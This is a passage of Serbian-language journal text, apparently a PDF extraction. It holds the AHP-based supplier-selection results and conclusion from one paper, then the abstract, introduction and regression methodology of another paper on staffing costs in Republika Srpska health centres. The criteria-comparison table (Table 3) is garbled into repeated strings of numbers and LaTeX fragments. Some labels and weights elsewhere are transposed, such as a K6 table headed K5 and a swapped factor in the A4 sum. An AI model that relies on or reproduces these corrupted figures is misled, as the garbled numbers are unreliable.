Nivo važnosti	Definicija	Objašnjenje		
1	Jednaka važnost	Dva faktora imaju isti doprinos cilju		
3	Nešto važno	Iskustvo i presuda favorizuje jedno iznad drugog		
5	Mnogo važnije	Iskustvo i presuda snažno favorizuju jedno iznad drugog		
7	Veoma mnogo važnije	Iskustvo i presuda snažno favorizuju jedno iznad drugog		
9	Apsolutno važnije	Iskustvo i presuda apso- lutno favorizuju jedno iznad drugog		
2-4-6-8	Srednje vrednosti	Kada je potreban kompromis		
Tabela 1. Satijeva skala				

Izvor: [17]

Ocenjivanje alternativa na osnovu svakog kriterijuma je četvrti korak. U njemu će svaka od 4 alternative biti ocenjena na osnovu svih 10 razmatranih kriterijuma odlučivanja.

U petom koraku vrši se ocenjivanje alternativa na osnovu svih kriterijuma. U toku ovog koraka svaka od alternativa dobija svoju vrednost.

Šesti korak podrazumeva donošenje odluke i izbora alternativa. Prilikom odabira, dobavljač sa najvećim stepenom vrednošću predstavlja najpovoljnije rešenje za određeni privredni subjekat.

5. REZULTATI I DISKUSIJA

Privredni subjekt iz Beograda bavi se prodajom robe široke potrošnje na malo. U cilju optimizacije troškova i poboljšanja upravljanja zalihama, kompanija razmatra dobavljača za jednu grupu proizvoda. Prvim krugom analize, od velikog broja dobavljača izabrano je četiri (A_1 , A_2 , A_3 , A_4) koji su uzeti u razmatranje u drugom krugu odabira. Upoređivanje dobavljača biće izvršeno na osnovu 10 kriterijuma datih u Tabeli 2.

Obeležje	Pun naziv kriterijuma
K ₁	Kvalitet proizvoda
K ₂	Cena
K ₃	Troškovi transporta
K4	Rok isporuke
K ₅	Asortiman proizvoda
К ₆	Pouzdanost
K ₇	Finansijska stabilnost
K ₈	Tehnološka sposobnost
K ₉	Usaglašenost proizvoda sa standardima ekologije
K ₁₀	Geografska udaljenost

Tabela 2. Kriterijumi za odabir dobavljača

Nivo 1

Zaposleni u funkciji nabavke u koordinaciji i saradnji sa direktorom organizacije imaju zadatak da ocene razmatrane dobavljače na osnovu pomenutih kriterijuma. Ocenjivanje je izvršeno u skladu sa Satijevom devetostepenom skalom. Poređenje kriterijuma i normalizacija sopstvenog vektora prikazano je u Tabeli 3.

Konačni prioritet za Nivo 1: K₁ (0,2886); K₂ (0,2103); K₄ (0,1517); K₇ (0,1096); K₈ (0,0789); K₃ (0,0566); K₆ (0,0402); K₅ (0,0283); K₁₀ (0,0203); K₉ (0,0154).

Nivo 2

Nakon ocenjivanja kriterijuma, menadžeri nabavke u saradnji sa direktorom ocenjuju dobavljače na osnovu svakog kriterijuma ponaosob.

Kriterijum Kı	A_1	A_2	A ₃	A_4	Σ	Rang
A ₁	0,1538	0,2000	0,1587	0,1305	0,6430	0,1608
A_2	0,0769	0,1000	0,1202	0,0862	0,3833	0,0958
A ₃	0,4615	0,4000	0,4808	0,5222	1,8645	0,4661
A_4	0,3077	0,3000	0,2404	0,2611	1,1092	0,2773

Tabela 4. Određivanje normalizovanog sopstvenog vektora na osnovu kriterijuma K₁

Konačni prioritet za kriterijum K₁: A₃ (0,4661); A₄ (0,2773); A₁ (0,1608); A₂ (0,0958).

Kriterijum K2	A_1	A_2	A ₃	A_4	Σ	Rang
A ₁	0,1580	0,1626	0,1333	0,2308	0,6846	0,1712
A_2	0,4739	0,4926	0,5333	0,3846	1,8845	0,4711
A ₃	0,3160	0,2463	0,2667	0,3077	1,1366	0,2842
A	0,0521	0,0985	0,0667	0,0769	0,2942	0,0736

Tabela 5. Određivanje normalizovanog sopstvenog vektora na osnovu kriterijuma K₂

Konačni prioritet za kriterijum K₂: A₂ (0,4711); A₃ (0,2842); A₁ (0,1712); A₄ (0,0736).

Kriterijum K3	A_1	A_2	A ₃	\mathbf{A}_4	Σ	Rang
A ₁	0,2611	0,3000	0,2404	0,3077	1,1092	0,2773
A ₂	0,0862	0,1000	0,1202	0,0769	0,3833	0,0958
A ₃	0,5222	0,4000	0,4808	0,4615	1,8645	0,4661
A_4	0,1305	0,2000	0,1587	0,1538	0,6430	0,1608

Tabela 6. Određivanje normalizovanog sopstvenog vektora na osnovu kriterijuma K₃

Konačni prioritet za kriterijum K₃: A₃ (0,4661); A₁ (0,2773); A₄ (0,1608); A₂ (0,0958).

Kriterijum K₄	A ₁	A ₂	A ₃	\mathbf{A}_4	Σ	Rang
A ₁	0,1000	0,0862	0,0769	0,1202	0,3833	0,0958
A ₂	0,3000	0,2611	0,3077	0,2404	1,1092	0,2773
A ₃	0,2000	0,1305	0,1538	0,1587	0,6430	0,1608
A ₄	0,4000	0,5222	0,4615	0,4808	1,8645	0,4661

Tabela 7. Određivanje normalizovanog sopstvenog vektora na osnovu kriterijuma K_4

Konačni prioritet za kriterijum K₄: A₄ (0,4661); A₂ (0,2773); A₃ (0,1608); A₁ (0,0958).



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Σ Rang	2,8861 0,2886	2,1028 0,2103		0,5664 0,0566	0,5664 0,0566 1,5174 0,1517	0,5664 0,0566 1,5174 0,1517 0,2832 0,0283	0,5664 0,0566 1,5174 0,1517 0,2832 0,0283 0,4018 0,0402	0,5664 0,0566 1,5174 0,1517 0,2832 0,0283 0,4018 0,0402 1,0960 0,1096	0,5664 0,0566 1,5174 0,1517 0,2832 0,0283 0,4018 0,0402 1,0960 0,1096 1,0964 0,0789	0,5664 0,0566 1,5174 0,1517 1,5174 0,1517 0,2832 0,0283 0,2832 0,0283 1,0960 0,1096 1,0960 0,1096 0,7894 0,0789 0,1544 0,0154
\mathbf{K}_{10}	0,1978	0,1758	0,0879		0,1538	0,1538 0,0440	0,1538 0,0440 0,0659	0,1538 0,0440 0,0659 0,1319	0,1538 0,0440 0,0659 0,1319 0,1099	0,1538 0,0440 0,0659 0,1319 0,1099 0,0110
K,	0,1667	0,1667	0,0926		0,1481	0,1481 0,0556	0,1481 0,0556 0,0741	0,1481 0,0556 0,0741 0,1296	0,1481 0,0556 0,0741 0,1296 0,1296	0,1481 0,0556 0,0741 0,1296 0,1296 0,1111
$\mathbf{K}_{\mathbf{s}}$	0,3040	0,2432	0,0304		0,1824	0,1824 0,0152	0,1824 0,0152 0,0201	0,1824 0,0152 0,0201 0,1216	0,1824 0,0152 0,0201 0,1216 0,1216	0,1824 0,0152 0,0201 0,1216 0,1216 0,0608 0,0608
\mathbf{K}_{7}	0,3451	0,2588	0,0285		0,1726	0,1726	0,1726 0,0173 0,0216	0,1726 0,0173 0,0216 0,0863	0,1726 0,0173 0,0216 0,0863 0,0431	0,1726 0,0173 0,0216 0,0863 0,0863 0,0431
\mathbf{K}_{6}	0,2407	0,0263	0,0688		0,1719	0,1719	0,1719 0,0172 0,0344	0,1719 0,0172 0,0344 0,1376	0,1719 0,0172 0,0344 0,1376 0,1032	0,1719 0,0172 0,0344 0,1376 0,1376 0,1032
\mathbf{K}_{5}	0,2172	0,1901	0,0815		0,1629	0,1629 0,0272	0,1629 0,0272 0,0543	0,1629 0,0272 0,0543 0,1358	0,1629 0,0272 0,0543 0,1358 0,1358	0,1629 0,0272 0,0543 0,1358 0,1358 0,1086 0,1086
${ m K_4}$	0,3891	0,2594	0,0324		0,1297	0,1297	0,1297 0,0220 0,0259	0,1297 0,0220 0,0259 0,0649	0,1297 0,0220 0,0259 0,0649 0,0428	0,1297 0,0220 0,0259 0,0649 0,0428 0,0156
${ m K}_3$	0,2693	0,2244	0,0449		0,1795	0,1795 0,0148	0,1795 0,0148 0,0224	0,1795 0,0148 0,0224 0,1346	0,1795 0,0148 0,0224 0,1346 0,1346	0,1795 0,0148 0,0224 0,1346 0,1346 0,0898 0,0898
\mathbf{K}_2	0,4149	0,2075	0,0415		0,1037	0,1037	0,1037 0,0290 0,0353	0,1037 0,0290 0,0353 0,0685	0,1037 0,0290 0,0353 0,0685 0,0519	0,1037 0,0290 0,0353 0,0685 0,0685 0,0519
\mathbf{K}_1	0,3413	0,1706	0,0580		0,1126	0,1126	0,1126 0,0410 0,0478	0,1126 0,0410 0,0478 0,0853	0,1126 0,0410 0,0478 0,0853 0,0683	0,1126 0,0410 0,0478 0,0853 0,0683 0,0683
	K	K_2	K ₃		${ m K}_4$	K K	K K	К К К	K K K	K K K K K K K %

Tabela 3. Određivanje normalizovanog sopstvenog vektor

Kriterijum K₅	A ₁	A ₂	A ₃	\mathbf{A}_4	Σ	Rang
A ₁	0,4808	0,5222	0,4615	0,4000	1,8645	0,4661
A ₂	0,2404	0,2611	0,3077	0,3000	1,1092	0,2773
A ₃	0,1587	0,1305	0,1538	0,2000	0,6430	0,1608
A ₄	0,1202	0,0862	0,0769	0,1000	0,3833	0,0958

Tabela 8. Određivanje normalizovanog sopstvenog vektora na osnovu kriterijuma K₅

Konačni prioritet za kriterijum K₅: A₁ (0,4661); A₂ (0,2773); A₃ (0,1608); A₄ (0,0958).

Kriterijum K₅	A_1	A_2	A ₃	\mathbf{A}_4	Σ	Rang
A ₁	0,1000	0,1366	0,0683	0,0667	0,3716	0,0929
A ₂	0,4000	0,5464	0,6211	0,5333	2,1009	0,5252
A ₃	0,3000	0,1803	0,2070	0,2667	0,9540	0,2385
A ₄	0,2000	0,1366	0,1035	0,1333	0,5735	0,1434

Tabela 9. Određivanje normalizovanog sopstvenog vektora na osnovu kriterijuma K₆

Konačni prioritet za kriterijum K_6 : A_2 (0,5252); A_3 (0,2385); A_4 (0,1434); A_1 (0,0929).

Kriterijum K7	A_1	A_2	\mathbf{A}_{3}	A_4	Σ	Rang
A ₁	0,2611	0,3077	0,2404	0,3000	1,1092	0,2773
A_2	0,1305	0,1538	0,1587	0,2000	0,6430	0,1608
A ₃	0,5222	0,4615	0,4808	0,4000	1,8645	0,4661
A,	0,0802	0,0769	0,1202	0,1000	0,3833	0,0958

Tabela 10. Određivanje normalizovanog sopstvenog vektora na osnovu kriterijuma K₇

Konačni prioritet za kriterijum K_7 : A_3 (0,4661); A_1 (0,2773); A_2 (0,1608); A_4 (0,0958).

Kriterijum K8	A ₁	A ₂	A ₃	\mathbf{A}_4	Σ	Rang
A ₁	0,0769	0,0546	0,1124	0,0396	0,2835	0,0709
A_2	0,3077	0,2183	0,1854	0,3601	1,0716	0,2679
A ₃	0,3846	0,6550	0,5618	0,4802	2,0816	0,5204
A ₄	0,2308	0,0721	0,1404	0,1200	0,5633	0,1408

Tabela 11. Određivanje normalizovanog sopstvenog vektora na osnovu kriterijuma K_{s}

Konačni prioritet za kriterijum K₈: A₃ (0,5204); A₂ (0,2679); A₄ (0,1408); A₁ (0,0709).

Kriterijum K₀	A ₁	A ₂	A ₃	\mathbf{A}_4	Σ	Rang
A ₁	0,2183	0,3077	0,4093	0,1774	1,1127	0,2782
A ₂	0,0546	0,0769	0,0450	0,1075	0,2841	0,0710
A ₃	0,0721	0,2308	0,1364	0,1774	0,6167	0,1542
A_4	0,6550	0,3846	0,4093	0,5376	1,9865	0,4966

Tabela 12. Određivanje normalizovanog sopstvenog vektora na osnovu kriterijuma K_ $_{\! \rm o}$

Konačni prioritet za kriterijum K₉: A₄ (0,4966); A₁ (0,2782); A₃ (0,1542); A₂ (0,0710).

Kriterijum K10	A_1	A_2	A ₃	\mathbf{A}_4	Σ	Rang
A ₁	0,2183	0,3529	0,1854	0,3333	1,0900	0,2725
A ₂	0,0721	0,1176	0,1404	0,1667	0,4968	0,1242
A ₃	0,6550	0,4706	0,5618	0,4167	2,1041	0,5260
A_4	0,0546	0,0588	0,1124	0,0833	0,3091	0,0773

Tabela 13. Određivanje normalizovanog sopstvenog vektora na osnovu kriterijuma K₁₀

Konačni prioritet za kriterijum K_{10} : A3 (0,5260); A_1 (0,2725); A_2 (0,1242); A_4 (0,0773).

Nivo 3

Sledeći korak u primeni AHP metodologije predstavlja upoređivanje alternativa (dobavljača) na osnovu svih kriterijuma. Sinteza problema rangiranja dobavljača jednaka je zbiru proizvoda težina u okviru posmatranog kriterijuma.

Alternativa A₁

$$T_{A1} = K_1 * K_1 A_1 + K_2 * K_2 A_1 + K_3 * K_3 A_1 + K_4 * K_4 A_1 + K_5 * K_5 A_1 + K_6 *$$

$$K_6 A_1 + K_7 * K_7 A_1 + K_8 * K_8 A_1 + K_9 * K_9 A_1 + K_{10} * K_{10} A_1$$

$$(1)$$

$$\begin{split} T_{\scriptscriptstyle A1} &= 0,2886*0,1608+0,2103*0,1712+0,0566*0,2773+0,1517*\\ 0,0958+0,0283*0,4661+0,0402*0,0929+0,1096*0,2773+0,0789\\ *0,0709+0,0154*0,2782+0,0203*0,2725=0,1754 \end{split}$$

Alternativa A₂

$$T_{A2} = K_1 * K_1 A_2 + K_2 * K_2 A_2 + K_3 * K_3 A_2 + K_4 * K_4 A_2 + K_5 * K_5 A_2 + K_6 * (2)$$

$$K_6 A_2 + K_7 * K_7 A_2 + K_8 * K_8 A_2 + K_9 * K_9 A_2 + K_{10} * K_{10} A_2$$

$$\begin{split} T_{\scriptscriptstyle A2} &= 0,2886*0,0958+0,2103*0,4711+0,0566*0,0958+0,1517*\\ 0,2773+0,0283*0,2773+0,0402*0,5252+0,1096*0,1608+0,0789*\\ 0,2679+0,0154*0,0710+0,0203*0,1242 = 0,2456 \end{split}$$

Alternativa A₃

 $T_{A3} = K_1 * K_1 A_3 + K_2 * K_2 A_3 + K_3 * K_3 A_3 + K_4 * K_4 A_3 + K_5 * K_5 A_3 + K_6 * (3)$ $K_6 A_3 + K_7 * K_7 A_3 + K_8 * K_8 A_3 + K_9 * K_9 A_3 + K_{10} * K_{10} A_3$

$$\begin{split} T_{\scriptscriptstyle A3} = 0,2886*0,4661+0,2103*0,2842+0,0566*0,4661+0,1517*\\ 0,1608+0,0283*0,1608+0,0402*0,2385+0,1096*0,4661+0,0789*\\ 0,5204+0,0154*0,1542+0,0203*0,5260=0,3644 \end{split}$$

Alternativa A₄

$$T_{A4} = K_1 * K_1 A_4 + K_2 * K_2 A_4 + K_3 * K_3 A_4 + K_4 * K_4 A_4 + K_5 * K_5 A_4 + K_6 *$$
(4)
$$K_6 A_4 + K_7 * K_7 A_4 + K_8 * K_8 A_4 + K_9 * K_9 A_4 + K_{10} * K_{10} A_4$$

$$\begin{split} T_{A4} = & 0,2886*0,2773+0,2103*0,0736+0,0566*0,1608+0,1517*\\ & 0,4661+0,0283*0,0958+0,0402*0,1434+0,1096*0,0958+0,0789*\\ & 0,1408+0,0154*0,4966+0,0733*0,0203=0,2147 \end{split}$$

Ukupni rang dobavljača u odnosu na globalni cilj (kompozitni normalizovani vektor) je: A_3 (0,3644); A_2 (0,2456); A_4 (0,2147); A_1 (0,1754). Sveobuhvatna sinteza rangiranja dobavljača može biti predstavljena kao:

$$T_{A3} > T_{A2} > T_{A4} > T_{A1} \tag{5}$$

Pored standardnog načina primene, AHP metodologiju moguće je sprovesti i putem softverskih rešenja. Najpoznatiji softver za primenu AHP metodologije je Expert Choice. U cilju potvrde i sveobuhvatne analize problema, višekriterijumski izbor dobavljača primenom AHP metodologije izvršen je i putem softverskog rešenja Expert Choice.

Rezultati istraživanja prikazani su na Slici 3.



Slika 3. Rezultati istraživanja primenom Expert Choice-a

Rezultati istraživanja primenom softverskog paketa Expert Choice potvrdili su prvobitne rezultate izbora dobavljača. Konačni prioritet softverskog paketa Expert Choice moguće je prikazati na sledeći način: A_3 (0,3644); A_2 (0,2456); A_4 (0,2147); A_1 (0,1754).

6. ZAKLJUČAK

U ovom radu izvršen je višekriterijumski odabir dobavljača za određenu grupu proizvoda široke potrošnje. Analizirano je četiri dobavljača na osnovu 10 kriterijuma i dobijeni su sledeći rezultati:

- Kriterijum sa najvećom važnošću za analizirano preduzeće je kriterijum K₁ – kvalitet proizvoda sa ocenom 0,2886, dok je na osnovu ocena donosioca odluka ustanovljeno da se najmanja pažnja pri izboru dobavljača ovog preduzeća pridaje kriterijumu usaglašenost proizvoda sa standardima ekologije sa ocenom 0,0154;
- Upoređivanjem alternativa, tj. dobavljača na osnovu svakog kriterijuma ponaosob, zaključeno je da je najbolja opcija po preduzeće na osnovu kriterijuma kvalitet proizvoda alternativa A₃. Dalje, na osnovu kriterijuma cena, najpovoljniji dobavljač je A2, dok je na osnovu kriterijuma troškovi transporta najpogodniji dobavljač A₃. Na osnovu kriterijuma rok isporuke, najpogodniji dobavljač je A4, dok najbolji asortiman poseduje dobavljač A1. Prema kriterijumu pouzdanost, najbolje rezultate pokazao je dobavljač A2, dok je finansijski najstabilniji dobavljač A3. Kada sagledamo tehnološku sposobnost, potrebno je napomenuti da su najbolji rezultati zabeleženi kod dobavljača A₃. Proizvodi dobavljača A₄ su u najvećoj meri usaglašeni sa ekološkim standardima, dok je sa aspekta geografske udaljenosti najpovoljniji dobavljač A₃;
- Sagledavajući sve faktore, potrebno je napomenuti da se kao najpovoljniji dobavljač istakao dobavljač A₃ sa ocenom 0,3644, dok je najmanje povoljan dobavljač sa aspekta razmatranih kriterijuma dobavljač A₁ sa ocenom 0,1754.

U cilju sveobuhvatnosti problema izbora dobavljača, kao esencijalnog pitanja poslovanja privrednog subjekta u modernom vremenu privređivanja, korišćen je softverski paket Expert Choice. Primena ovog softvera potvrdila je rezultate istraživanja i dala važnu potporu uspešnom poslovanju razmatranog privrednog subjekta.

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Abstract:

Procurement function is one of the most important continent in particular economic operator. From the success of this function depends largely on the efficiency and effectiveness of the company. In today's market conditions, the process of selection of suppliers is one of the key activities under the management of procurement and supply chain environments. The task of all economic subjects, regardless of the activity is meeting the needs. In order to achieve this task, it is necessary to have good associates who are financially stable, deliver goods on time, have the goods of high quality that are sold at low prices. The subject of the research work is multi criteria selection of suppliers using the AHP methodology with the help of Expert Choice software package 11. The aim of the investigation is the ranking of suppliers based on defined criteria decision making.

Keywords:

procurement, supplier selection, AHP methodology, software Expert Choice 11.





DETERMINANTE NEEKONOMIČNOSTI ZAPOSLENIH U DOMOVIMA ZDRAVLJA U REPUBLICI SRPSKOJ

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Rezime:

U skladu sa trendom produžavanja životnog vijeka stanovništva, smanjenja stope nataliteta, i sve izraženijim problemima finansiranja zdravstvene zaštite u Republici Srpskoj, pitanje (ne)ekonomičnosti zaposlenih u zdravstvenim ustanovama postaje sve interesantnije. Posmatrajući 53 doma zdravlja u Republici Srpskoj, uočeno je da učešće troškova ličnih primanja varira od 37,3% do 109,4% prihoda u 2015. godini, pri čemu je neponderisani prosjek 82,2%. Ovi nalazi postavljaju izazov iznalaženja determinanti stepena i varijabiliteta neekonomičnosti zaposlenih u domovima zdravlja u Republici Srpskoj. Prilikom istraživanja, kao izvori korišteni su podaci iz finansijskih izvještaja domova zdravlja, kao i podaci o broju registrovanih lica u domovima zdravlja. Utvrđivanje determinanti sprovođeno je uz pomoć višestruke linearne regresione analize, na osnovu prethodnog prilagođavanja izvora podataka, koji su pretvoreni u izvjesne racio brojeve. Analiza je pokazala da su statistički značajne tri determinante, sa ukupnim objašnjenim varijabilitetom od 87,3%, odnosno broj zaposlenih (47,1%), lična primanja po zaposlenom (15%) i prihod doma zdravlja (30,6%). S obzirom na to da je broj zaposlenih najznačajniji uzrok neekonomičnosti, nastavak analize usmjeren je na određivanje kriterijuma optimalnog broja zaposlenih. Optimalan broj zaposlenih određen je uz pomoć logaritamske regresione analize, pri čemu je broj registrovanih lica regresor. Svođenjem na optimalan broj zaposlenih bila bi oslobođena sredstva od 11,2 miliona KM.

Ključne reči:

višak zaposlenih, optimalni broj zaposlenih, oslobođena sredstva, višestruka linearna regresija, prosta logaritamska regresija.

1. UVOD

Značaj upravljanja troškovima u zdravstvenom sektoru nikad nije bio veći, istorijski posmatrano. Starenje stanovništva, konstantan rast cijena lijekova i stagnacija prihoda su ključne determinante oskudnosti sredstava u zdravstvenom sistemu. Situacija nije ništa drugačija kada se posmatra primarna zdravstvena zaštišta, koju između ostalog provode domovi zdravlja. Gorenavedene determinante negativno utiču na primarnu zdravstvenu zaštitu kroz povećan broj posjeta, više troškove lijekova na teret domova zdravlja, manjeg dijela sredstava koji se izdvaja za primarnu zdravstvenu zaštitu i to zbog povećanih troškova sekundarne i tercijalne zdravstvene zaštite. Domovi zdravlja su javne zdravstvene ustanove koje posluju kao neprofitne organizacije, sa ciljem pružanja zdravstvene

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e-mail: bojankresojevic@outlook.com zaštite stanovništvu. Kako bi zdravstvena zaštita bila na zadovoljavajućem nivou u dugom roku, neophodno je da poslovanje domova zdravlja bude održivo. Održivo poslovanje postiže se kada su prihodi domova zdravlja veći od ukupnih rashoda. Troškovi ličnih primanja su najveća stavka troškova u zdravstvenom sistemu, stoga je potrebno pratiti njihovo kretanje sa posebnom pažnjom.

Problem ovog istraživanja su visoki troškovi ličnih primanja u domovima zdravlja u Republici Srpskoj. Visoki troškovi ličnih primanja, dovode do visokih ukupnih troškova i neekonomičnog poslovanja. Rezultat se ogleda u otežanom finansiranju primarne zdravstvene zaštite.

Predmet ovog rada je ekonometrijska analiza determinanti neekonomičnosti zaposlenih, odnosno visokog učešća troškova ličnih primanja u prihodu domova zdravlja u Republici Srpskoj. Vremenski obuhvat istraživanja je 2015. godina.

Naučni cilj ovog istraživanja jeste otkrivanje determinanti neekonomičnog poslovanja zdravlja u Republici Srpskoj, uz pomoć višestrukog regresionog modela. Pragmatični cilj istraživanja je davanje smjernica rukovodstvu domova zdravlja u pogledu rješavanja problema visokog učešća troškova ličnih primanja u prihodu.

Polazna hipoteza ovog istraživanja je da broj (višak) zaposlenih, lična primanja po zaposlenom, i visina prihoda doma zdravlja predstavljaju ključne determinante visokog učešća troškova ličnih primanja u prihodu.

U radu će biti testirana polazna hipoteza uz pomoć višestruke linearne regresije, a zatim će biti date preporučene vrijednosti za broj zaposlenih u domovima zdravlja. Nakon toga, biće dati potencijalni efekti uštede, u slučaju da se broj zaposlenih svede na preporučene vrijednosti.

2. TEORIJSKI OKVIR

Domovi zdravlja predstavljaju javne zdravstvene ustanove koje se organizuju na teritoriji jedne ili više opština. U Republici Srpskoj postoji 53 doma zdravlja. U domovima zdravlja se obavljaju usluge po modelu porodične medicine. Djelatnost domova zdravlja spada u primarni nivo zdravstvene zaštite. Osnivači domova zdravlja razmatraju izvještaje o poslovanju i biraju rukovodstvo. Osnivači domova zdravlja su opštine u Republici Srpskoj [1]. Najznačajniji prihodi doma zdravlja su: doznaka od Fonda zdravstvenog osiguranja Republike Srpske, participacija osiguranika i prihod od neosiguranih lica. Doznaka od Fonda zdravstvenog osiguranja određuje se na osnovu [2]:

- Cijene tima u odnosu na standard (prim. aut. korigovane za odnos broja registrovanih lica i broja registrovanih lica po standardu);
- Opšte kapitacije i koeficijenta težinske kapitacije.

Opšta kapitacija je iznos sredstava koji odgovara težinskom koeficijentu 1. Težinski koeficijenti kapitacije predstavljaju relativne vrijednosti sredstava koja se odobravaju za svako registrovano lice u domu zdravlja. Težinski koeficijenti su različiti za svaki dom zdravlja, zbog različite starosne strukture registrovanih pacijenata. Ovdje je pretpostavka da lica različite starosne grupe uzrokuju različite vrijednosti troškova. Ukupni težinski koeficijent, koji se množi sa visinom opšte kapitacije, dobije se kao prosjek težinskih koeficijenata za svaku starosnu grupu, pri čemu se ponderisanje vrši brojem registrovanih lica u svakoj starosnoj grupi. Pored navedenog, Fond zdravstvenog osiguranja doznačava sredstva po osnovu nerazvijenosti određenih opština. Kao što se može vidjeti, prihodi domova zdravlja su pod relativno malim uticajem domova zdravlja.

Rashode domova zdravlja čine: troškovi ličnih primanja, troškovi lijekova, troškovi sanitetskog materijala, troškovi amortizacije i rezervisanja, troškovi energije, troškovi zakupa i sl. Troškovi ličnih primanja obuhvataju troškove bruto zarada, troškove bolovanja do 30 dana, troškove novčanih naknada i nagrada, troškove prevoza i sl. Broj zaposlenih u domovima zdravlja je normiran [3]. Tako je određeno da na svakih 2.000 registrovanih lica u domu zdravlja odgovara 1 porodični ljekar, 0,5 medicinskih sestara sa visokom stručnom spremom i 1,5 medicinskih sestara sa srednjom stručnom spremom. Ono što otežava primjenu standarda i normativa, kada je u pitanju broj zaposlenih u domovima zdravlja, jeste usitnjena struktura mreže domova zdravlja u Republici Srpskoj. Mrežu domova zdravlja čini 53 doma zdravlja, od kojih najmanji ima 891 registrovano lice, a najveći 189.460 registrovanih lica. Čak 5 domova zdravlja imaju manje od 2.000 registrovanih lica, a 9 domova zdravlja ima manje od 4.000 registrovanih lica. S obzirom na to da se radi o domovima zdravlja koji nisu u neposrednoj blizini, često se dešava da nije moguće zaposliti radnike u više domova zdravlja kako bi ispunili normu, već se u cjelosti zapošljavaju u jedan dom zdravlja i na taj način se zapošljava više radnika u odnosu na broj koji propisuje standard.

Poslovanje zdravstvenih ustanova do sada je vrlo malo bilo predmet izučavanja akademske javnosti u Republici Srpskoj. Na svjetskom nivou ovo je veoma aktuelno pitanje zbog narastajućih troškova zdravstvene zaštite, koji rastu brže od bruto domaćeg proizvoda. Na važnost efikasnog upravljanja resursima u zdravstvenoj zaštiti ukazuju i stavovi autora koji smatraju da se u zdravstvenom sistemu Sjedinjenih Američkih Država troši 700 milijardi dolara, koji ne doprinose poboljšanju izlaza (engl. *outcome*) sistema zdravstvene zaštite [4]. U svjetskoj nauci i praksi pažnja se sve više poklanja mjerenju performansi. Tako je u prethodnih 25 godina došlo do suštinskog razvoja mjerenja performansi, radi obezbjeđivanja poboljšanja zdravstvenog sistema [5]. U literaturi se mogu pronaći različite strategije snižavanja troškova zaposlenih u domovima zdravlja. Jedna od strategija za rješavanje ovog problema u Velikoj Britaniji odnosila se na obučavanje zaposlenih [6].

3. METODOLOGIJA ISTRAŽIVANJA

Analiza je zasnovana na podacima iz finansijskih izvještaja domova zdravlja u Republici Srpskoj za 2015. godinu. Određene stavke finansijskih izvještaja stavljane su u međusobni odnos, kao i u odnos sa brojem registrovanih lica, te su tako dobijeni racio brojevi predstavljali osnovu za kvantitativnu analizu međuzavisnosti.

Varijable i indikatori

Zavisna varijabla u ovom istraživanja su troškovi ličnih primanja domova zdravlja u Republici Srpskoj. Nezavisne varijable su: broj (višak) zaposlenih, lična primanja po zaposlenom i prihod doma zdravlja.

Kako bi troškovi ličnih primanja bili uporedivi, stavljeni su u odnos sa ukupnim ostvarenim prihodom, i na taj način se dobije učešće troškova ličnih primanja u prihodu. Prva nezavisna varijabla broj zaposlenih je mjerena brojem zaposlenih na 100 registrovanih lica doma zdravlja, koji se poredi sa preporučenom vrijednošću za određeni dom zdravlja. Troškovi ličnih primanja po zaposlenom mjereni su prosječnim izdacima za lična primanja (bruto plate, naknade za bolovanja do 30 dana, novčana pomoć i sl.) po zaposlenom. Prihod doma zdravlja mjeren je prihodom po registrovanom licu, kako bi se postigla uporedivost između domova zdravlja.

Metod i podaci

Kao metod za utvrđivanje relevantnih faktora, koji određuju visinu učešća troškova ličnih primanja u prihodu, korišćena je višestruka linearna regresiona analiza. Uzorkom su obuhvaćena 53 doma zdravlja, što predstavlja izuzetno dobar uzorak u pogledu veličine. Izvori podataka o prihodima, rashodima i broju zaposlenih domova zdravlja prikupljeni su iz finansijskih izvještaja domova zdravlja. Podaci o broju registrovanih lica u domovima zdravlja su podaci Fonda zdravstvenog osiguranja Republike Srpske.

Regresija predstavlja metod za utvrđivanje matematičke funkcije između zavisne i nezavisnih varijabli. Utvrđivanje funkcije vrši se tako da se izračunavaju parametri, tako da se postiglo minimalno odstupanje podataka od regresione krive. Klasični višestruki linearni regresioni model koristi se nakon što se testiranjem utvrdi da nijedna nezavisna varijabla ne objašnjava varijacije u zavisnoj mjeri u dovoljnoj mjeri. Opšti oblik višestrukog linearnog regresionog modela može se predstaviti na sljedeći način [7]:

$$Y = \beta_0 + \beta_1 X_1 + \beta_2 X_2 + \dots + \beta_{k-1} x_{k-1} + \varepsilon \quad (1)$$

Gdje je: Y zavisna promjenljiva, X₁, X₂, ..., X_{k-1} su nezavisne varijable, a \mathcal{E} predstavlja varijacije koje nisu objašnjene nezavisnim varijablama u modelu. Parametar β_0 pokazuje vrijednost koju uzima zavisna varijabla Y kada su vrijednosti X₁, X₂, ..., X_{k-1} jednake 0. Parametri $\beta_1, \beta_2, ..., \beta_{k-1}$ pokazuju promjenu zavisne varijable Y kada se odgovarajuća varijabla poveća za 1 mjernu jedinicu.

U jednačini je (2) prikazan model sa (k-1) nezavisnih, objašnjavajućih varijabli. Navedena relacija odnosi se na potpuni obuhvat vrijednosti koje varijable mogu uzeti, drugim riječima radi se o relaciji koja važi za statistički skup. Metodom najmanjih kvadrata izračunava se matematička relacija na osnovu empirijski prikupljenih podataka. Empirijski prikupljeni podaci su, po pravilu, ograničenog broja i radi se na uzorku. Zato se prvobitno izračunava linearna jednačina koja opisuje matematičku relaciju između zavisne varijable i nezavisnih varijabli, ali na osnovu podataka iz uzorka.

$$\widehat{Y}_{i} = b_{o} + b_{1} x_{1,i} + b_{2} x_{2,i} + \dots + b_{k-1,i} X_{k-1} + \varepsilon_{i} \quad (2)$$

Parametri su označeni malim latiničnim slovom (b) umjesto velikim grčkim slovom (β), jer se radi o vrijednostima koje su dobijene na osnovu podataka iz uzorka. Ovako dobijeni parametri se testiraju. Polazna hipoteza za svaki parametar jeste da je on jednak nuli. Testiranje se vrši tako što se uz pomoć t-testa izračunava *p* vrijednost koja pokazuje vjerovatnoću da je parametar jednak 0, odnosno da nije statistički značajan.

